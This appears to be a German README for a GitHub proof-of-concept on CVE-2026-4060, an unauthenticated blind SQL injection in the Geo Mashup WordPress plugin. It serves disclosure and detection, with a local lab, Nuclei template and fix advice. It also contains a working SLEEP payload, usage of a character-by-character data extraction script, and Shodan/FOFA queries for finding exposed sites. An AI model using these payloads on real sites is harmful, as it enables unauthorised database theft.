
Proof-of-concept für CVE-2026-4060: nicht authentifizierte zeitbasierte Blind-SQL-Injection im Geo Mashup WordPress-Plugin über die ORDER BY-Klausel. Enthält Exploit-Skript, Laborumgebung und Nuclei-Erkennungsvorlage.
Unangemeldete Angreifer können beliebiges SQL in die
ORDER BY-Klausel über den Parametersortdesrender-map-Endpunkts von Geo Mashup einschleusen, was eine zeitbasierte Blind-Extraktion sensibler Datenbankinformationen ermöglicht.
| Feld | Detail |
|---|---|
| CVE | CVE-2026-4060 |
| Plugin | Geo Mashup von cyberhobo |
| Betroffen | ≤ 1.13.18 |
| Behoben in | 1.13.19 |
| CVSS v3.1 | 7.5 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Fehlerhafte Neutralisierung spezieller Elemente in SQL |
| Authentifizierung erforderlich | Keine (unangemeldet) |
Der vom render-map-Endpunkt akzeptierte Parameter sort wird ohne Bereinigung direkt an einen $wpdb->get_results()-Aufruf übergeben:
// render-map.php (vereinfacht)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Da $sort unverändert interpoliert wird, kann ein Angreifer eine Unterabfrage in die ORDER BY-Klausel einschleusen. WordPress’ wpdb escaped einfache Anführungszeichen, daher verwendet der PoC ORD(SUBSTRING(...)) mit numerischen Vergleichen, um diese Einschränkung zu umgehen und eine zeitbasierte Blind-Extraktion durchzuführen.
Verwundbarer Endpunkt:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
| Komponente | Version |
|---|---|
| Betriebssystem | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (verwundbar) |
| Python | 3.x (für poc.py) |
| Nuclei | v3.8.0 |
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 aktiv im WordPress-Admin:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh wird:
Sobald abgeschlossen:
http://localhost:8080http://localhost:8080/wp-admin (Benutzer: admin / Passwort: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
Eine Antwortverzögerung von ~8 Sekunden bestätigt die ORDER BY-SQL-Injection.
# Standard — nur extrahierte Ergebnisse ausgeben
python3 poc.py --url http://localhost:8080
# Ausführlich — jedes Payload, Antwortzeit und extrahiertes Zeichen anzeigen
python3 poc.py --url http://localhost:8080 --verbose
# Nur SQLi bestätigen, Datenextraktion überspringen
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
Das Einschleusen einer SLEEP(8)-Unterabfrage über den Parameter sort erzeugt eine Antwortverzögerung von ~8 Sekunden.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Der PoC extrahiert Daten Zeichen für Zeichen mithilfe von ORD(SUBSTRING(...))-Vergleichen: Payload senden → Antwortzeit messen → Zeichen bestätigen, wenn SLEEP ausgelöst wird.
python3 poc.py --url http://localhost:8080 --verbose

Extrahierte Daten:
| Abfrage | Ergebnis |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Die Nuclei-Vorlage verwendet einen zweistufigen Ablauf, um Fehlalarme zu verhindern.
Wenn readme.txt in Schritt 1 eine 404 zurückgibt, wird der Scan sofort beendet, ohne das SQL-Payload zu senden.
Scan completed in 62ms. 0 matches found. ✅
Versionsprüfung des Plugins über readme.txt:

Wenn compare_versions(version, '<= 1.13.18') fehlschlägt, wird Schritt 2 vollständig übersprungen.
Scan completed in 19ms. 0 matches found. ✅
| Aktion | Detail |
|---|---|
| Aktualisieren | Geo Mashup auf 1.13.19 oder neuer upgraden |
| Vorübergehend | Plugin deaktivieren, bis ein Update angewendet wird |
| WAF | Subquery-Injection-Muster in ORDER BY-Klauseln blockieren |
Patch-Commit: plugins.trac.wordpress.org/changeset/3503627
Nuclei-Vorlage: nuclei/CVE-2026-4060.yaml
Erkennungsablauf:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Datum | Ereignis |
|---|---|
| 2026-04 | Schwachstelle entdeckt |
| 2026-04 | An Plugin-Autor gemeldet |
| 2026-05 | Geo-Mashup-1.13.19-Patch veröffentlicht |
| 2026-05-14 | CVE zugewiesen und öffentlich bekannt gegeben |